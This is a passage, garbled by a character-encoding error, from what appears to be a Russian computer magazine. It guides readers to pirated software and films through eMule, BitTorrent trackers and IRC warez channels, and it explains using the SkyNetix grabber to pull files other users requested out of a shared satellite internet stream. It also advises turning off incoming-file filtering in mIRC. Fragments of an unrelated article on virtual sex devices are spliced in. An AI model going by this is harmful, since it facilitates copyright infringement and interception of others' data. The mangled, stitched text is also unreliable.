ìîé ðåéòèíã ó íåãî ïîäðàñòåò, è ÿ ñìîãó êîìôîðòíî ñêà÷èâàòü ó íåãî ôàéëû. Íî
âìåñòå ñ òåì ìîé ðåéòèíã ó Êóòòåðà îñòàåòñÿ íåèçìåííûì, òàê êàê åìó ÿ íè÷å-
ãî íå îòäàë. Ïðàâèëî ïðîñòîå: ÷åì áîëüøå òû îòäàë � òåì âûøå ðåéòèíã. Ýòî
äåéñòâóåò âåçäå. Íî âîçíèêàåò âîïðîñ: êàêèì îáðàçîì êàæäûé ïîëüçîâàòåëü

òî÷íûé ïîèñê, òû âïðàâå óêàçàòü òèï æåëàåìîãî ôàéëà, åãî ìàêñè-
ìàëüíûé è ìèíèìàëüíûé ðàçìåð è ïðî÷èå ïàðàìåòðû. Ïîèñê íóæ-
íî îñóùåñòâëÿòü ïî âñåì ñåðâåðàì ñðàçó � ýòîò ñïîñîá íàçûâàåò-
ñÿ «Ãëîáàëüíûì» è óñòàíîâëåí ïî óìîë÷àíèþ. Ïðèìåðíî ÷åðåç ìè-
íóòó ïîèñê, ñêîðåå âñåãî, áóäåò îêîí÷åí, è òû óâèäèøü ðåçóëüòàòû.
Âî âðåìÿ èçó÷åíèÿ ðåçóëüòàòîâ îñîáîå âíèìàíèå íóæíî îáðàòèòü
íà ïîëÿ «Äîñòóïíîñòü» è «Ïîëíûå èñòî÷íèêè». Ïåðâàÿ ïîêàçûâàåò
êîëè÷åñòâî ïîëüçîâàòåëåé, ó êîòîðûõ çàòðåáîâàííûé ôàéë èìååò-
ñÿ õîòÿ áû ÷àñòè÷íî, âòîðàÿ ïîêàçûâàåò ïðîöåíò òåõ, êîòîðûå èìå-
þò åãî ïîëíîñòüþ. Âûáèðàé òîò ôàéë, êîòîðûé èìååò ìàêñèìàëü-
íîå êîëè÷åñòâî èñòî÷íèêîâ � æåëàòåëüíî, ÷òîáû èõ áûëî íå ìå-
íåå 5�7. ×åì áîëüøå èñòî÷íèêîâ îäíîâðåìåííî îòäàþò ôàéë (îí
ïåðåäàåòñÿ ÷àñòÿìè), òåì áûñòðåå ó òåáÿ áóäåò ñóììàðíàÿ ñêî-
ðîñòü çàêà÷êè. Êñòàòè ãîâîðÿ, åñëè â ðåçóëüòàòàõ ïîèñêà áóäåò
íåñêîëüêî ôàéëîâ ñ îäèíàêîâûìè íàçâàíèÿìè, çíàé � ýòè ôàéëû
ðàçëè÷íû. Óíèêàëüíîñòü ôàéëà îïðåäåëÿåòñÿ íå ïî èìåíè è íå ïî
ðàçìåðó, à ïî MD4-õýøó, êîòîðûé ãåíåðèðóåòñÿ äëÿ êàæäîãî ôàé-
ëà â ìîìåíò åãî «ðàñøàðèâàíèÿ».

[à ïî÷åìó íå êà÷àåò?] Íó âîò, ôàéëû íàéäåíû è ïîñòàâëåíû íà
çàêà÷êó. Òîëüêî âîò íåçàäà÷à: ôàéëû ïî÷åìó-òî êà÷àþòñÿ î÷åíü
ìåäëåííî, à íåêîòîðûå íå êà÷àþòñÿ âîîáùå. Èìåííî èç-çà ýòîé
ïðîáëåìû ìíîãèå íîâè÷êè è çàáèâàþò íà P2P-ïðîãðàììû, äàæå íå
ðàçîáðàâøèñü, â ÷åì áûëà ïðîáëåìà. Â äåéñòâèòåëüíîñòè âñå ýòî
çàêîíîìåðíî. Â äàííîé ïèðèíãîâîé ñåòè ñóùåñòâóåò òàêîå ïîíÿ-
òèå, êàê î÷åðåäü. Åñëè â ðàçäåëå «Ïåðåäà÷è» äâàæäû êëèêíóòü ïî
íàçâàíèþ çàïðîøåííîãî ôàéëà, òû ïîëó÷èøü ïîäðîáíóþ èíôîð-
ìàöèþ îáî âñåõ åãî èñòî÷íèêàõ. Äëÿ êàæäîãî èñòî÷íèêà â ãðàôå
«Ïðèîðèòåò» áóäåò îáîçíà÷åí îñîáûé ïàðàìåòð QR. Çíà÷åíèå ýòî-
ãî ïàðàìåòðà îïðåäåëÿåò òâîå ïîëîæåíèå â î÷åðåäè. ×åì îíî
ìåíüøå, òåì áûñòðåå íà÷íåòñÿ çàêà÷êà. Îøèáî÷íî äóìàòü, ÷òî ýòà
î÷åðåäü ïðîäâèãàåòñÿ, êàê â ìàãàçèíå. Òâîé QR íàïðÿìóþ çàâèñèò
îò òîãî ðåéòèíãà, êîòîðûé òû èìååøü ó äàííîãî êîíêðåòíîãî èñòî÷-
íèêà. Â eD2k íå ñóùåñòâóåò ãëîáàëüíîãî ðåéòèíãà, íî çàòî eMule
ñ÷èòàåò ðåéòèíã âñåõ ïîëüçîâàòåëåé, ó êîòîðûõ òû ÷òî-òî ñêà÷àë
èëè êîòîðûå ÷òî-òî ñêà÷àëè ó òåáÿ. Ýòî çíà÷èò, ÷òî òâîé ðåéòèíã ó

Ñêà÷àâ ôàéëû, îáÿçàòåëü-
íî ïðîâåðü èõ àíòèâèðó-
ñîì. Èíà÷å òû ñåðüåçíî
ðèñêóåøü ïîäöåïèòü êà-
êóþ-íèáóäü íåïðèÿòíóþ
çàðàçó, êîòîðàÿ áûñòðî
óòàùèò ó òåáÿ ïàðîëü ê
àñüêå, êëþ÷è äëÿ web-
money è ò.ä.

Â ñïèñîê
èñïîëüçóåìûõ
eMule'îì ñåðâåðîâ
íåïëîõî áûëî áû
äîáàâèòü:
217.106.18.150:4661
217.106.18.217:4661
207.44.222.47:4661
207.44.206.27:9090
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[ñêàçêà î BitTorrent] Ðàññêàçûâàÿ î ñïîñîáàõ ïîèñêà âàðåçà, ÿ íå
ìîãó íå ðàññêàçàòü î P2P-ñåòè � BitTorrent. Ýòà ïèðèíãîâàÿ ñåòü â ïîñ-
ëåäíåå âðåìÿ çàâîåâàëà ïðÿìî-òàêè îãðîìíóþ ïîïóëÿðíîñòü, è âî ìíî-
ãèõ ñèòóàöèÿõ åå èñïîëüçîâàòü äàæå óäîáíåå, ÷åì eD2k. Áîëüøîé ïëþñ
BitTorrent çàêëþ÷àåòñÿ â òîì, ÷òî ïîëüçîâàòåëü, ñêà÷èâàþùèé ê ñåáå êà-
êèå-ëèáî äàííûå, îäíîâðåìåííî ÿâëÿåòñÿ èõ ðàñïðîñòðàíèòåëåì. Ñêà-
÷àâ îäíó ÷àñòü ôàéëà, òû ñðàçó æå ñòàíîâèøüñÿ åå èñòî÷íèêîì, íî âìåñ-
òå ñ òåì ïðîäîëæàåøü âûêà÷èâàòü âñå îñòàëüíûå ÷àñòè. Ýòîìó ïðàâèëó
ïîä÷èíÿþòñÿ âñå ïîëüçîâàòåëè BitTorrent. Ïîëó÷àåòñÿ, ÷òî ÷åì áîëüøå
ëþäåé ó÷àñòâóåò â ðàçäà÷å êîíêðåòíîãî ôàéëà, òåì âûøå ñêîðîñòü ïî-
ëó÷èò êàæäûé èç íèõ.
Â îòëè÷èå îò eD2k, äëÿ ðàáîòû ñ BitTorrent ñóùåñòâóåò î÷åíü ìíîãî ðàç-
ëè÷íûõ êëèåíòîâ (â ýòîì íåò íè÷åãî óäèâèòåëüíîãî, òàê êàê ïðîòîêîë îò-
ëè÷íî äîêóìåíòèðîâàí). Õîðîøî çàðåêîìåíäîâàëè ñåáÿ ïðîãðàììû
Azureus (azureus.sourceforge.net) è BitComet (www.bitcomet.com). ß èñ-
ïîëüçóþ âòîðóþ è ïîëíîñòüþ åé äîâîëåí � ðàáîòàåò ñòàáèëüíî, êà÷àåò
áûñòðî,  ïëþñ êî âñåìó ïðî÷åìó � ïðîñòà êàê äâå êîïåéêè. Íèêàêèõ ïîä-
âîäíûõ êàìíåé, êàê â ñëó÷àå ñ eMule'îì è âîîáùå ñåòüþ eD2k, çäåñü íåò.
Ïðîñòî ïîñòàâèë êëèåíòà, óñòàíîâèë â íàñòðîéêàõ ìàêñèìàëüíûå ñêî-
ðîñòè íà ïðèåì è îòäà÷ó, è ìîæåøü ïðèñòóïàòü ê ðàáîòå.
Ïåðåäà÷à ôàéëîâ ÷åðåç BitTorrent îñóùåñòâëÿåòñÿ ñ ïîìîùüþ ñïåöè-
àëüíûõ ôàéëîâ-èäåíòèôèêàòîðîâ � òîððåíòîâ, êîòîðûå ñîäåðæàò íå-
îáõîäèìóþ èíôîðìàöèþ î çàïðàøèâàåìîì ôàéëå (èëè ôàéëàõ): åãî
ðàçìåð, õýø, êîëè÷åñòâî ôðàãìåíòîâ è ò.ä. Ïîìèìî ýòîãî òîððåíòû ñî-
äåðæàò àäðåñ ñïåöèàëüíîãî ñåðâåðà, òàê íàçûâàåìîãî òðåêåðà, êîòîðûé
áóäåò ðóêîâîäèòü ïðîöåññîì ïåðåäà÷è. Îáðàòèâøèñü ê òðåêåðó, êëèåíò
ïîëó÷àåò èíôîðìàöèþ î òåõ ëþäÿõ, êîòîðûå â äàííûé ìîìåíò ïåðåäàþò
çàïðîøåííûé ôàéë, ïîäêëþ÷àåòñÿ ê íèì è íà÷èíàåò çàêà÷êó. Ñõåìà
íåïðîñòàÿ, íî çàòî ïîçâîëÿåò íàëàäèòü ýôôåêòèâíóþ ðàçäà÷ó ôàéëîâ
ìåæäó ïîëüçîâàòåëÿìè ñåòè.
Èòàê, äëÿ òîãî, ÷òîáû ñêà÷àòü êàêîé-íèáóäü ôàéë, íåîáõîäèìî íàéòè tor-
rent, êîòîðûé îïèñûâàåò åãî. Íåò íè÷åãî ïðîùå! Â Ñåòè äîñòóïíî ìíîæå-
ñòâî ñïåöèàëèçèðîâàííûõ ðåñóðñîâ, íà êîòîðûõ åæåäíåâíî âûêëàäûâà-
þòñÿ ñîòíè torrent'îâ. Âî âðåçêå ÿ ïðèâåë íàèáîëåå ïîïóëÿðíûå ñåðâèñû,
êîòîðûé ïóáëèêóþò torrent'û äëÿ ñàìûõ íîâûõ ôèëüìîâ, ìóçûêè, âàðåçà
è ò.ï. Ïîìèìî ýòîãî ñïèñîê ïîïóëÿðíûõ ðåñóðñîâ åñòü è â ñàìîì êëèåí-
òå BitComet. Ïðîñòî ñêà÷àé torrent-ôàéë, ñêîðìè åãî ñâîåìó êëèåíòó è
íàñëàæäàéñÿ âûñîêîé ñêîðîñòüþ çàêà÷êè.
Ýôôåêòèâíîñòü: åñëè õî÷åøü ñêà÷àòü ñâåæèé ôèëüì, ìóçûêàëüíûé àëü-
áîì èëè ïîñëåäíþþ âåðñèþ Windows Vista (aka Longhorn), BitTorrent �

ýòî èìåííî òî, ÷òî íàäî. Ïîïóëÿðíûå ôàéëû êà÷àþòñÿ ñ îãðîìíîé ñêî-
ðîñòüþ, ïðè ýòîì íå íàäî çàìîðà÷èâàòüñÿ ïî ïîâîäó ðåéòèíãîâ è ò.ï. Â
òî æå âðåìÿ, íàéòè è ñêà÷àòü óíèêàëüíûé è ðåäêèé ôàéë ïðàêòè÷åñêè
íåâîçìîæíî. 

[Èðèíà � íàø äðóã è ïîìîùíèê] Õîðîøàÿ àëüòåðíàòèâà ïèðèíãî-
âûì ñåòÿì � IRC. Ìíîæåñòâî ëþäåé, òàê èëè èíà÷å ñâÿçàííûõ ñ warez-
community, òóñóþòñÿ è îáùàþòñÿ íà IRC-êàíàëàõ, ïîïóòíî âûêëàäûâàÿ
ñâîè ñâåæèå ðåëèçû. Åñëè òû íèêîãäà íå ïðîáîâàë èñêàòü çäåñü «ñâå-
æàê», ñ÷èòàé, ÷òî ìíîãîå ïîòåðÿë. Îòêðîþ òåáå ñåêðåò: ýòî ñàìûé íàñ-
òîÿùèé íåèññÿêàåìûé èñòî÷íèê âàðåçà. Ïîëó÷èòü ê íåìó äîñòóï ìîæåò
êàæäûé æåëàþùèé � íóæåí ëèøü ðàáî÷èé IRC-êëèåíò. Íà ìîé âçãëÿä,
âûáîð êëèåíòà î÷åâèäåí: ñî âñåìè çàäà÷àìè íà óðà ñïðàâëÿåòñÿ ñòà-
ðûé-äîáðûé mIRC (www.mirc.com). Íåîáõîäèìîñòè â òîíêîé íàñòðîéêå
íåò. Åäèíñòâåííîå, íà ÷òî ñòîèò îáðàòèòü âíèìàíèå, � îïöèè DCC. Çàé-
äè â ìåíþ Tools ! Options ! DCC ! Ignore è â ïîëå Method âûáåðè
Disabled. Òåì ñàìûì òû îòêëþ÷èøü ôèëüòðàöèþ âõîäÿùèõ ôàéëîâ, êî-
òîðàÿ ïî áîëüøåé ÷àñòè òîëüêî ìåøàåòñÿ.
Ïàðó ñëîâ î òîì, êàêèì îáðàçîì ðàçäàþòñÿ ôàéëû ÷åðåç IRC. Â êàæäîé
ñåòè ñóùåñòâóþò warez-êàíàëû, îòëè÷èòåëüíàÿ îñîáåííîñòü êîòîðûõ, �
êó÷à íàðîäà. Ïîìèìî îáû÷íûõ ñìåðòíûõ, òàêèõ, êàê òû èëè ÿ, íà êàíàëå
íàõîäÿòñÿ áîòû. Îäíàêî ýòî íå òå áîòû, êîòîðûå DoS'ÿò óäàëåííûé ñåð-
âèñ èëè ñîâåðøàþò äðóãèå íåõîðîøèå âåùè. Ýòî õîðîøèå áîòû, â çàäà-
÷è êîòîðûõ âõîäèò ðàçäà÷à ôàéëîâ. Îáùåíèå ñ áîòàìè ïðîèñõîäèò ñ ïî-
ìîùüþ ñïåöèàëüíûõ êîìàíä-òðèããåðîâ, íà êîòîðûå îí ðåàãèðóåò è âû-
ïîëíÿåò òðåáóåìîå äåéñòâèå.
Âûõîäèò, ÷òî äëÿ ïîèñêà è çàêà÷êè ôàéëîâ ñ IRC íóæíî ëèøü íàéòè ïîä-
õîäÿùèé êàíàë. Òóò ñëîæíî äàòü êàêèå-òî êîíêðåòíûå ðåêîìåíäàöèè,
òàê êàê ëþáîé áîò ðàçäàåò òîëüêî îïðåäåëåííûé òèï ôàéëîâ. Îäèí �
ìóçûêó, äðóãîé � ôèëüìû è ò.ä. Åñëè òåáå íå óäàëîñü íàéòè íàçâàíèå
íóæíûõ êàíàëîâ ÷åðåç google, ïðèäåòñÿ äåéñòâîâàòü íàîáóì. Êàê áû
ñòðàííî ýòî íè êàçàëîñü, íî âûõîäèò îáû÷íî õîðîøî. Äàæå î÷åíü.
Àëãîðèòì ïðîñòîé: ñíà÷àëà âûáèðàåøü èç ñïèñêà ëþáóþ èç ñåòåé (íàï-
ðèìåð, Undernet) è ïîäêëþ÷àåøüñÿ ê íåé. Äàëåå ñ ïîìîùüþ êîìàíäû,
îòîáðàæàþùåé ñïèñîê êàíàëîâ, çàïðàøèâàåøü ñïèñîê òåõ, êîòîðûå â
íàçâàíèè ñîäåðæàò ñëîâà warez, film, mp3, exploit è ò.ä. Ýòî äåëàåòñÿ
ïðèìåðíî òàê: /list *warez*. Íåìíîãî ïîäóìàâ, ñåðâåð âîçâðàòèò ðåçóëü-
òàò. Âûáèðàé ñàìûå ïîñåùàåìûå êàíàëû è çàõîäè íà íèõ. Ìîé ñîâåò:
ïåðâûì äåëîì âíèìàòåëüíî ïðî÷èòàé òîïèê � â íåì îáû÷íî îáîçíà÷å-
íû êðàòêèå ïðàâèëà èñïîëüçîâàíèÿ êàíàëà, à òàêæå äîñòóïíûå êîìàí-
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âûáèðàÿ ñêîðîñòü, íå çàáûâàé, ÷òî äðóãèì ïðèëîæåíèÿì
òàêæå íóæåí ñâîáîäíûõ êàíàë

ÒÐÅÊÅÐÛ ÄÄËß BBITTORRENT 
Ñðåäè áåñïëàòíûõ òðåêåðîâ õî÷åòñÿ âûäåëèòü:
http://peers.tk/browse.php
www.rusdivx.ee/ibf
http://kov4eg.net
www.kinozal.com
http://torrent.e2k.ru
http://torrents.ru:6969
http://kinoshara.com

www.podval.ee
http://kinozal.com
http://torrent.lapotsoft.com
http://empornium.us
Ñóùåñòâóþò òàêæå ïðèâàòíûå òðåêåðû, ñâîáîäíûé äîñòóï
ê êîòîðûì çàêðûò. ß íàìåðåííî íå ïóáëèêóþ ññûëêè, ÷òî-
áû èõ íå çàâàëèëè íè÷åì íå ïîäêðåïëåííûìè ïðîñüáàìè 
î ÷ëåíñòâå. Äîñòóï íóæíî çàñëóæèòü: ïðîÿâè ôàíòàçèþ, 
è âñå ïîëó÷èòñÿ.

ñïèñîê ñåðâåðîâ: âûáèðàåì ñàìûé ïîñåùàåìûé
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äû. Â ïðîòèâíîì ñëó÷àå òû ñåðüåçíî ðèñêóåøü îòõâàòèòü âå÷íûé áàí.
Íàèáîëåå ðàñïðîñòðàíåííûìè òðèããåðàìè ÿâëÿþòñÿ !list, !help, !find. Ýòî
îáû÷íûå ñîîáùåíèÿ, êîòîðûå îòïðàâëÿþòñÿ íà êàíàë. Ïåðâàÿ âûâîäèò
ñïèñîê äîñòóïíûõ ôàéëîâ, âòîðàÿ � êðàòêóþ ñïðàâêó ïî èñïîëüçîâà-
íèþ, òðåòüÿ èñïîëüçóåòñÿ äëÿ ïîèñêà êîíêðåòíîãî ôàéëà. Êîìàíäû ìî-
ãóò ðàçëè÷àòüñÿ â çàâèñèìîñòè îò ñîôòà, èñïîëüçóåìîãî áîòîì, ïîýòîìó
âíèìàòåëüíî ÷èòàé ñïðàâêó, è ñêà÷àòü ôàéëû íå ñîñòàâèò òðóäà.
Îïèñàííûé ñïîñîá ïîèñêà ôàéëîâ, áåçóñëîâíî, ýôôåêòèâåí, îäíàêî íå
î÷åíü óäîáåí, òàê êàê ìíîæåñòâî ðàáîòû ïðèõîäèòñÿ âûïîëíÿòü âðó÷-
íóþ. Àâòîìàòèçèðîâàòü ýòîò ïðîöåññ ñïîñîáíû ñïåöèàëüíûå ïîèñêîâûå
ñåðâèñû, êîòîðûå îòñëåæèâàþò îãðîìíîå êîëè÷åñòâî áîòîâ. Âûãëÿäÿò
îíè êàê îáû÷íûé ïîèñêîâèê: çàõîäè è ââîäè èìÿ ôàéëà â ãðàôå ïîèñêà.
Íàèáîëåå ïîïóëÿðíûìè IRC-ïîèñêîâèêàìè ÿâëÿþòñÿ:
www.packetnews.com
www.xdccspy.com
www.ircspy.com
www.xdccsearch.com
Äëÿ òåõ, êîìó ðàáîòà ñ áîòàìè ñ ïîìîùüþ îáû÷íîãî mIRC êàæåòñÿ ÷å-
ðåñ÷óð íåóäîáíîé, ðåêîìåíäóþ ïîïðîáîâàòü ñïåöèàëüíûé ñêðèïò
Autoget (www.omenscripts.org/autoget). Îí ïîëíîñòüþ áåðåò íà ñåáÿ çàäà-
÷è ïî ðàáîòå ñ xDDC è âïîëíå óñïåøíî èçáàâëÿåò îò ëèøíåãî ãåìîððîÿ.
Ýôôåêòèâíîñòü: ñïîñîá, êîíå÷íî, íå èç ñàìûõ óäîáíûõ, íî çàòî ýôôåê-
òèâíûé. Ñâåæèé âàðåç çäåñü åñòü âñåãäà � ýòî áîëüøîé ïëþñ. Îäíàêî
ðåäêèå ôàéëû èñêàòü äàæå íå ïðîáóé.

[à çà÷åì íàì èíòåðíåò?] Êàæäûé ìå÷òàåò, ÷òîáû ñâåæèé âàðåç âà-
ëèëñÿ ê íåìó íà êîìïüþòåð ñàì. ×òîáû íå íóæíî áûëî ëîïàòèòü êó÷ó âà-
ðåçíûõ ñàéòîâ, çàìîðà÷èâàòüñÿ ñ IRC è P2P, à åùå ëó÷øå � äàæå íå âû-
õîäèòü â èíòåðíåò. Òû äóìàåøü, ýòî íåâîçìîæíî? Òû îøèáàåøüñÿ!
Íà ñàìîì äåëå ýòî âïîëíå ðåàëüíî, íî ëèøü ñ îäíèì óñëîâèåì � ó òå-
áÿ äîëæåí áûòü óñòàíîâëåí êîìïëåêò ñïóòíèêîâîãî îáîðóäîâàíèÿ.
Îáû÷íàÿ ñïóòíèêîâàÿ òàðåëêà óìååò òîëüêî ïðèíèìàòü èíôîðìàöèþ,
ïîýòîìó áîëüøèíñòâî ñïóòíèêîâûõ ïðîâàéäåðîâ ðàáîòàþò ïî àñèíõðîí-
íîé òåõíîëîãèè. Äëÿ èñïîëüçîâàíèÿ èíòåðíåòà ïîëüçîâàòåëþ ïðèõîäèò-
ñÿ þçàòü òàê íàçûâàåìûé îáðàòíûé êàíàë, ïî êîòîðîìó îí îòïðàâëÿåò
âñå íåîáõîäèìûå äàííûå, â òîì ÷èñëå è çàïðîñû íà çàãðóçêó ñòðàíè÷åê,
ôàéëîâ è ò.ï. Âñå çàïðîøåííûå ôàéëû, âåá-ñòðàíèöû è ïðî÷åå â ñâîþ
î÷åðåäü îòñûëàþòñÿ åìó ïî ñïóòíèêó. Õîðîøàÿ ñèñòåìà, íî çäåñü åñòü
îäèí íþàíñ: ïîòîê äàííûõ ñî ñïóòíèêà îäèíàêîâ äëÿ âñåõ. Ýòî çíà÷èò,

÷òî ôàéëû, çàïðîøåííûå îäíèì ïîëüçîâàòåëåì, ìîãóò ïðèíÿòü è âñå îñ-
òàëüíûå. Íà ýòîì óòâåðæäåíèè è îñíîâàí àëãîðèòì ÷óäî-ïðîãðàììû
SkyNetix (http://eoninfo.kiev.ua/files.shtml).
SkyNetix � ýòî òàê íàçûâàåìûé ôàéëîâûõ ãðàááåð, â çàäà÷ó êîòîðîãî
âõîäèò ñ÷èòûâàíèå ñïóòíèêîâîãî ïîòîêà è èçúÿòèå îòòóäà íóæíûõ òåáå
ôàéëîâ. ×òîáû íà÷àòü ðàáîòó, íåîáõîäèìî çíàòü ïàðàìåòðû îäíîãî èç
ïðîâàéäåðîâ, âåùàþùåãî ñî ñïóòíèêà, íà êîòîðûé â äàííûé ìîìåíò îí
íàñòðîåí. ×òîáû óáåäèòüñÿ, ÷òî òàêèå ïðîâàéäåðû åñòü âîîáùå, ðåêî-
ìåíäóþ ñàéò www.lyngsat.com. Ýòî ñâîäíàÿ áàçà äàííûõ ïî âñåì ñïóòíè-
êàì, êîòîðàÿ ñîäåðæèò íàçâàíèÿ ñåðâèñîâ è ïàðàìåòðû èõ òðàíñïîíäå-
ðîâ (÷àñòîòû, ñèìâîëüíàÿ ñêîðîñòü, ïîëÿðèçàöèÿ). Ïîñëåäíèå, êñòàòè,
ïðèãîäÿòñÿ òåáå âî âðåìÿ íàñòðîéêè ïðîãðàììû � çàïîìíè èõ. Åäèí-
ñòâåííîå, ÷òî íå óêàçàíî â ýòîé áàçå � íîìåðà èíôîðìàöèîííûõ ïîòî-
êîâ (PID), ïî êîòîðûì ïåðåäàþòñÿ èíòåðíåò-äàííûå. Îíè òàêæå íåîáõî-
äèìû äëÿ SkyNetix, ïîýòîìó èõ ïðèäåòñÿ ðàçûñêàòü. Ñäåëàòü ýòî ìîæíî
ñëåäóþùèì îáðàçîì:
1 Óçíàòü íà ñàéòå ñïóòíèêîâîãî ïðîâàéäåðà. Îáû÷íî òàêàÿ èíôîðìà-
öèè íàõîäèòñÿ â ðàçäåëå «Íàñòðîéêà».
2 Èç àðõèâà ñàìîé ëó÷øåé êîíôåðåíöèè ïî ñïóòíèêîâîìó òåëåâèäåíèþ
è èíòåðíåòó � pyramidmagsat.honsat.ru.
3 Ïðîñêàíèðîâàòü ñïóòíèêîâûé ïîòîê è âûòàùèòü èç íåãî íîìåðà
PID'îâ ñ ïîìîùüþ ñïåöèàëüíîãî ñêàíåðà (www.progdvb.com/plugins.htm)
Äàëåå çàïóñêàé SkyNetix Editor � ýòî ñïåöèàëüíàÿ îáîëî÷êà, êîòîðàÿ
ïîçâîëÿåò ïðîïèñàòü ïàðàìåòðû ñïóòíèêîâîãî ïðîâàéäåðà, íå êîâû-
ðÿÿñü â òåêñòîâûõ êîíôèãàõ ïðîãðàììû. ×àñòîòà, ñèìâîëüíàÿ ñêî-
ðîñòü, ïîëÿðèçàöèÿ è PID'û ê ýòîìó ìîìåíòó äîëæíû áûòü óæå èçâåñò-
íû. Ïðîñòî çàïèøè èõ â ñîîòâåòñòâóþùèå ïîëÿ. Â Provider âïèøè èìÿ
ïðîâàéäåðà, ïîëå DiSEqC/LNB â áîëüøèíñòâå ñëó÷àåâ (ó òåáÿ âåäü íå
óñòàíîâëåí ìóëüòèôèä è íå èñïîëüçóåòñÿ ìîòîïîäâåñ, âåðíî?) ìîæíî
îñòàâèòü, êàê åñòü. Òåïåðü îòêðîé skynet.ini, íàõîäÿùèéñÿ â ðàáî÷åé
äèðåêòîðèè ïðîãðàììû, è ïîäïðàâü çíà÷åíèÿ ïàðàìåòðîâ disk,
dir_temp, dir_ok � ýòî äèñê äëÿ çàïèñè, äèðåêòîðèÿ äëÿ âðåìåííîãî
õðàíåíèÿ äàííûõ è ïàïêà äëÿ ñêà÷åííûõ ôàéëîâ. Íà ýòîì íàñòðîéêà
çàâåðøåíà, ìîæíî çàïóñêàòü SkyNetix.
Âåðíûé ïðèçíàê òîãî, ÷òî âñå ðàáîòàåò êàê íàäî, � áûñòðî èçìåíÿþùè-
åñÿ öèôðû â âåðõíåé ÷àñòè îêíà ïðîãðàììû. Åñëè òàê îíî è åñòü, çíà-
÷èò, SkyNetix íîðìàëüíî ñêàíèðóåò ïîòîê è èùåò öåííûå ôàéëû. Ñëåäó-
þùèé âàæíûé ýòàï � íàñòðîéêà ôèëüòðîâ. Ïîíÿòíî, ÷òî ïåðåõâàòûâàòü
âñå ôàéëû ïîäðÿä � ýòî áðåä ïî îïðåäåëåíèþ. Î÷åíü ñêîðî ó òåáÿ

çàáüåòñÿ âñå ñâîáîäíîå ìåñòî, ïðè÷åì ôàéëàìè, êîòîðûå â
áîëüøèíñòâå ñâîåì òåáå íå íóæíû. ×òîáû íå âûêà÷èâàòü
òîííû ÷óæîãî áàðàõëà, íàæìè ãîðÿ÷óþ êëàâèøó G. Äîëæíî
ïîÿâèòüñÿ îêíî, â êîòîðîì òû ñìîæåøü âûáðàòü èíòåðåñóþ-
ùèå òåáÿ òèïû ôàéëîâ, îáîçíà÷èòü èõ ìèíèìàëüíûé è ìàê-
ñèìàëüíûé ðàçìåð. Íàñòðîèâ ôèëüòðû, íå çàáóäü èõ ñîõðà-
íèòü (Ctrl-S), ïîñëå ÷åãî ïðèìåíèòü èçìåíåíèÿ (Ctrl-R). Òå-
ïåðü SkyNet áóäåò èçâëåêàòü èç ïîòîêà òîëüêî òå ôàéëû, êî-
òîðûå òåáå ïî-íàñòîÿùåìó èíòåðåñíû, âñå îíè áóäóò ñêëà-
äèðîâàòüñÿ â äèðåêòîðèþ, óêàçàííóþ â skynet.ini.
Ýôôåêòèâíîñòü: ñïóòíèêîâûé èíòåðíåò òðàäèöèîííî ñ÷èòà-
åòñÿ ñàìûì äåøåâûì. Þçåðû îõîòíî òðàòÿò ìåãàáàéòû 
è âûêà÷èâàþò èç Ñåòè îãðîìíîå êîëè÷åñòâî ôàéëîâ. Ñðåäè
ïåðåõâà÷åííîãî ìîæíî íàéòè ãðóäó èíòåðåñíîãî (âêëþ÷àÿ
ôèëüìû!), à ìîæíî íå íàéòè íè÷åãî

íàñòðîéêè BitComet ìîæíî îñòàâèòü áåç èçìåíåíèé - âñå
áóäåò ðàáîòàòü è áåç òâîåé ïîìîùèñïèñîê ïîäõîäÿùèõ IRC-êàíàëîâ ïîñëå êîìàíäû /list *warez*

êàê âèäíî èç íàçâàíèé ôàéëîâ, ýòîò áîò ðàçäàåò ñâåæèå ôèëüìû, íî íà ôðàíöóçñêîì :( [X
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Â ïåðâîé êíèãå î âèðòóàëüíîé ðåàëüíîñòè,
èçäàííîé â 1991 ãîäó, ïèñàòåëü Õîâàðä
Ðåéíãîëä ïîñâÿòèë öåëóþ ãëàâó ââåäåíèþ â
òåëåäèëüäîíèêó. Òàê îí íàçûâàë ñåêñ â âèð-
òóàëüíîé ðåàëüíîñòè, ïåðåäà÷ó ÷åëîâå÷åñ-
êèõ äåéñòâèé è ýìîöèé, õàðàêòåðèçóþùèõ
èíòèìíóþ áëèçîñòü, ÷åðåç ñïåöèàëüíûå
êîìïüþòåðíûå òåõíè÷åñêèå ñðåäñòâà è ïðîã-
ðàììíîå îáåñïå÷åíèå. Íàäåâ îáëåãàþùèé
ïðîçðà÷íûé êîñòþì, åãî ãåðîè èñïûòûâàëè
ôèçè÷åñêóþ áëèçîñòü çà òûñÿ÷è êèëîìåòðîâ
äðóã îò äðóãà. Ïðè ýòîì âîññîçäàâàëàñü òî÷-

íàÿ ïîñëåäîâàòåëüíîñòü è ÷àñòîòà âîçäåéñòâèé íà íåðâíûå îêîí÷à-
íèÿ ïàðòíåðà, òî åñòü îùóùåíèÿ áûëè òàêèìè, êàêèìè èõ çàäóìûâà-
ëè. Èäèëëèÿ, ñâîáîäíàÿ îò ñåìåéíûõ îáÿçàòåëüñòâ è áîëåçíåé, ïåðå-
äàþùèõñÿ ïîëîâûì ïóòåì.

[êîñòþì äëÿ ñåêñà] Ïðàêòè÷åñêîå âîïëîùåíèå ýòîé ôàíòàñòè÷åñ-
êîé èäåè ïðîâåëà â æèçíü êîìïàíèÿ Vivid Entertainment, êîòîðàÿ åùå â
2000 ãîäó ðàñïðîñòðàíèëà èëëþñòðàöèè ÷åðíîãî íåîïðåíîâîãî êîñòþ-
ìà ñ 36 ýëåêòðîäàìè, ðàñïðåäåëåííûìè ïî ýðîãåííûì çîíàì. Êëèêîì
ìûøè áûëî âîçìîæíî íàïðàâèòü îäíî èç ïÿòè îùóùåíèé �  ùåêîòà-
íèå, óêîë áóëàâêîé, âèáðàöèÿ, òåïëî èëè õîëîä �  íà âûáðàííûé ñåí-
ñîð. Ãðåçèëàñü ðåâîëþöèÿ «ñåêñà ïî òåëåôîíó», ïëàíèðîâàëñÿ âûïóñê
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àäàïòåð SafeSexPlus â ðàáîòå

thrillhammer � ìàøèíà äëÿ ñåêñà

Â ÍÀØ ÂÅÊ ÌÎÁÈËÜÍÎÑÒÈ ×ÅËÎÂÅ×ÅÑÊÈÅ
ÑÂßÇÈ ÑÏËÅÒÅÍÛ Â ÎÃÐÎÌÍÓÞ ÏÀÓÒÈÍÓ ÈÍ-
ÒÅÐÍÅÒÀ, ÑÎÒÎÂÛÕ ÑÅÒÅÉ È ÝËÅÊÒÐÈ×ÅÑÊÈÕ
